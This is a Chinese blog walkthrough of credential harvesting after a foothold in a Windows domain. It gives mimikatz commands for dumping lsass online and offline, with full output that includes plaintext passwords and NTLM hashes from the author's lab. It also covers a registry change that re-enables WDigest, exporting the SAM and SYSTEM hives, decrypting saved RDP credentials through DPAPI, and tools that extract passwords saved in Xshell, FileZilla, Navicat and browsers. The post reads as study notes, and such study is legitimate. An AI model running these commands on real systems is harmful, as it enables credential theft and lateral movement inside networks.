内网信息搜集-用户凭据搜集


首先先下载mimikatz(米米卡茨)

https://github.com/gentilkiwi/mimikatz

这个在github上有20多k的star,好厉害的项目

这里我是win7的老界面搭建的域环境,所以会看不清

我做了几件事

1
官网:https://conemu.github.io/ 下载绿色压缩包 ConEmuPack.7z,解压到 Win7 虚拟机内任意文件夹,打开 ConEmu64.exe

美化包

2.VMware放大的时候是可以实现这个win7桌面的放大的

3.cmd直接ctrl+水表滚轮可以实现放大

!!!最后,2.2.0 20210721 mimikatz是在我的环境中可以跑的,更新的版本跑不了,然后还有就是我们cmd要这个管理员权限才可以

还是参考大佬博客:https://yuy0ung.github.io

这是内网渗透中很重要的一步,很多操作都需要用户凭据

注:这里的收集大多需要管理员权限,所以需要配合权限提升

获取域内单机密码和哈希

在前面介绍NTLM协议时介绍过windows的NTLM本地认证流程,Windows协议之NTLM:

在用户输入密码进行身份验证的过程中,所有操作都是在本地进行的。系统将用户输入的密码转换为NTLM Hash,再将其与SAM中的NTLM Hash文件进行比较,若相同则说明密码正确,反之则为错误。当用户注销、重启、锁屏后,操作系统会让winlog.exe显示登陆界面,即密码输入框,在winlog.exe程序接收到输入之后,会将密码交给lsass.exe进程,lsass.exe进程中会存储一份明文密码,并将其加密成NTLM Hash,与SAM数据库进行比较和认证

在上述过程中,有个lsass.exe进程,我们在渗透过程中使用的Mimikatz就是从该进程中抓取的明文或Hash密码

这里详细记录在如何使用mimikatz进行信息收集:

在线读取lsass进程

将mimikatz上传至目标主机后,命令行启动:

1
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
C:\Users\test1.TEST>cd Desktop

C:\Users\test1.TEST\Desktop>cd "2.2.0 20210721mimikatz_trunk"

C:\Users\test1.TEST\Desktop\2.2.0 20210721mimikatz_trunk>cd x64

C:\Users\test1.TEST\Desktop\2.2.0 20210721mimikatz_trunk\x64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

.#####. mimikatz 2.2.0 (x64) #19041 Jul 21 2021 23:31:30
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords full

Authentication Id : 0 ; 3825824 (00000000:003a60a0)
Session : Interactive from 1
User Name : test1
Domain : test1-PC
Logon Server : TEST1-PC
Logon Time : 2026/10/31 13:28:37
SID : S-1-5-21-2952220931-3465464072-1680046071-1000
msv :
[00000003] Primary
* Username : test1
* Domain : test1-PC
* LM : 2ee87630354b4eb09825c52ece2de07c
* NTLM : e26fc4f3fcc6381cf71d4d2f174af639
* SHA1 : 9c10f86fa99ef945cd56528569784ffe652138b6
tspkg :
* Username : test1
* Domain : test1-PC
* Password : 520520Tsq
wdigest :
* Username : test1
* Domain : test1-PC
* Password : 520520Tsq
kerberos :
* Username : test1
* Domain : test1-PC
* Password : 520520Tsq
ssp :
credman :

Authentication Id : 0 ; 235900 (00000000:0003997c)
Session : Interactive from 1
User Name : test1
Domain : TEST
Logon Server : DC
Logon Time : 2026/10/31 2:06:34
SID : S-1-5-21-1487202020-1034444272-3049064449-1103
msv :
[00000003] Primary
* Username : test1
* Domain : TEST
* LM : 2ee87630354b4eb07c6af072863b1d07
* NTLM : 93c447d1b3938d8771f71b56d5977612
* SHA1 : 383c4b88d59c59635fa61379a4c69b26ddea8ecd
tspkg :
* Username : test1
* Domain : TEST
* Password : 520520Tsq@
wdigest :
* Username : test1
* Domain : TEST
* Password : 520520Tsq@
kerberos :
* Username : test1
* Domain : TEST.LAB
* Password : 520520Tsq@
ssp :
credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2026/10/31 2:06:19
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : TEST1-PC$
Domain : TEST
Logon Server : (null)
Logon Time : 2026/10/31 2:06:19
SID : S-1-5-20
msv :
[00000003] Primary
* Username : TEST1-PC$
* Domain : TEST
* NTLM : 4e56f791f92dc2b05bb5838a43a1758c
* SHA1 : 97aa5d63542fc185587ab6876cada27d4ce14e44
tspkg :
wdigest :
* Username : TEST1-PC$
* Domain : TEST
* Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m
kerberos :
* Username : test1-pc$
* Domain : test.lab
* Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m
ssp :
credman :

Authentication Id : 0 ; 46875 (00000000:0000b71b)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2026/10/31 2:06:18
SID :
msv :
[00000003] Primary
* Username : TEST1-PC$
* Domain : TEST
* NTLM : 4e56f791f92dc2b05bb5838a43a1758c
* SHA1 : 97aa5d63542fc185587ab6876cada27d4ce14e44
tspkg :
wdigest :
kerberos :
ssp :
credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : TEST1-PC$
Domain : TEST
Logon Server : (null)
Logon Time : 2026/10/31 2:06:18
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : TEST1-PC$
* Domain : TEST
* Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m
kerberos :
* Username : test1-pc$
* Domain : TEST.LAB
* Password : n3\]m@)[L8>"%(-F"u%VXFw!Y*s"siw3W1Ili.hhD!7z6h^;b6OU]5"[1(/d-x#PU$g+TUG"=h)&$Y\I!itdDxb11F,>QrYB3nO*OBx$D(= EA3lF,.Gqn*m
ssp :
credman :

mimikatz(commandline) # exit
Bye!

C:\Users\test1.TEST\Desktop\2.2.0 20210721mimikatz_trunk\x64>

我这边是成功实现了

然后前面不要exit,用下面的指令

用于提升至DebugPrivilege权限(需要管理员权限)

1
privilege::debug

用于导出用户凭据

1
sekurlsa::logonpasswords full

output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mimikatz(commandline) # privilege::debug                          
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords full

Authentication Id : 0 ; 3825824 (00000000:003a60a0)
Session : Interactive from 1
User Name : test1
Domain : test1-PC
Logon Server : TEST1-PC
Logon Time : 2026/10/31 13:28:37
SID : S-1-5-21-2952220931-3465464072-1680046071-1000
msv :
[00000003] Primary
* Username : test1
* Domain : test1-PC
* LM : 2ee87630354b4eb09825c52ece2de07c
* NTLM : e26fc4f3fcc6381cf71d4d2f174af639
* SHA1 : 9c10f86fa99ef945cd56528569784ffe652138b6
tspkg :

比如这里抓取到NTLM hash,尝试解密:

1
e26fc4f3fcc6381cf71d4d2f174af639

但是要钱就先算了

离线读取lsass内存文件

也可以将lsass的进程内存转储,导出到本地后使用mimikatz离线读取

这里选择微软官方的ProcDump进行内存转储,首先将procdump上传至目标主机,命令行启动:

1
procdump.exe -accepteula -ma lsass.exe lsass.dmp

接下来将lsass.dmp放到本地离线读取:

1
2
3
4
5
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit

# "sekurlsa::minidump lsass.dmp"用于加载内存文件

# "sekurlsa::logonpasswords full"用于导出用户凭据

在上面的抓取过程中可以看见,wdigest功能中抓取不到明文密码,因为微软在2014年5月发布了补丁,关闭了wdigest功能,禁止从内存中获取明文密码,且windows server 2012及以上版本默认关闭了wdigest功能

可以通过修改注册表,可以重新开启wdigest功能:

1
2
3
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# 开启wdigest

在线读取SAM文件

读取SAM文件中保存的用户登录凭据,可以导出当前系统中所有本地用户的hash:

1
2
3
4
5
6
7
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

# "privilege::debug"用于提升至DebugPrivilege权限

# "token::elevate"用于提升至SYSTEM权限

# "lsadump::sam"用于读取本地SAM文件

离线读取本地SAM文件

将SAM文件导出并使用mimikatz加载并读取其中的用户登录凭据等信息,但微软为了提高SAM文件安全性,会对SAM文件使用密钥加密,该密钥存储于于SAM同目录下的SYSTEM文件中

那么首先需要导出SYSTEM和SAM文件,但这两个文件是被锁定的,所以需要借助工具实现,这里使用powersploit中的invoke-NinjaCopy.ps1

但powershell的默认执行策略为Restricted(受限):

此状态下无法导入powershell脚本,需要更改执行策略:

1
Set-ExecutionPolicy Unrestricted

接下来导入ps脚本:

1
Import-Module .\Invoke-NinjaCopy.ps1

Copy

然后导出SAM和SYSTEM文件:

1
2
3
Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SAM

Invoke-NinjaCopy -Path "C:\windows\System32\config\SAM" -LocalDestination C:\Temp\SYSTEM

这里有个缺点即高版本windows(win10及以上)执行该ps脚本会出错(本人还没搞懂原因):

此外,CVE-2021-36934可以提权直接读取SAM和SYSTEM文件,后面提权文章再细嗦

在具有管理员权限的情况下,可以直接通过保存注册表的形式导出:

1
2
3
reg save HKLM\SAM sam.hive

reg save HKLM\SYSTEM system.hive

导出后使用mimikatz加载并读取SAM中的用户凭据信息:

1
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit

获取常见应用软件凭据

主机中可能会存在一些特定的应用程序来存储密码,可以尝试进行获取

获取RDP保存的凭据

若用户在RDP登陆时,勾选了保存连接凭证,凭据便会使用数据保护API以加密的形式存储在windows的凭据管理器中,路径为%USERPROFILE%\AppData\Local\Microsoft\Credentials

查看当前主机保存的所有连接凭证:

1
2
3
cmdkey /list

# 查看当前保存的凭据
1
2
3
4
5
6
7
C:\Users\test1.TEST>cmdkey /list

当前保存的凭据:

* 无 *

C:\Users\test1.TEST>

1
2
dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*
# 遍历Credentials中保存的凭据

这里得到一个凭据

mimikatz解析该凭证3E039BFD58331448709CE3225E1724AF:

1
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF" exit

其中pbData就是凭据的加密数据,guidMasterKey是该凭据的GUID,这里记住guidMasterKey:{ba5eb8b7-53cf-4452-bf99-44b3402b8fc1}

接下来执行:

1
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

这里可以找到和guidMasterKey相关的MasterKey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed

接下来用拿到的MasterKey执行命令:

1
mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\3E039BFD58331448709CE3225E1724AF /masterkey:1ea718de5687d36dba4fbf83c158ca9413dda53ed06170242c1779fdc39e8fec7f093148fbf9017e0e6b20d5b3655efd21ac74c430bf69396bbcb67d1beb6bed" exit

成功获取到RDP凭证的administrator密码:Admin123456

获取Xshell保存的凭据

Xshell会将服务器连接信息保存在session目录下的.xsh文件中:

Xshell 版本 .xsh 文件路径
Xshell 5 %USERPROFILE%\Documents\NetSarang\Xshell\Sessions
Xshell 6 %USERPROFILE%\Documents\NetSarang Computer\6\Xshell\Sessions
Xshell 7 %USERPROFILE%\Documents\NetSarang Computer\7\Xshell\Sessions

如果用户连接时勾选了记住用户名/密码,那么该文件会保存远程服务器连接的用户名和加密后的密码

可以使用SharpXDecrypt进行凭据获取,上传到主机执行即可:

1
.\SharpXDecrypt.exe

获取FileZilla保存的凭据

无需多言,利用SharpDecryptPwd直接获取密码 工具下载地址:https://github.com/uknowsec/SharpDecryptPwd

1
SharpDecryptPwd.exe -FileZilla

Copy

获取NaviCat保存的凭据

依旧是SharpDecryptPwd:

1
SharpDecryptPwd.exe -NavicatCrypto

获取浏览器保存的凭据

web浏览器有保存密码的功能

可以使用hackbrowserdata获取密码

三大浏览器数据都可以收集,不只密码


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录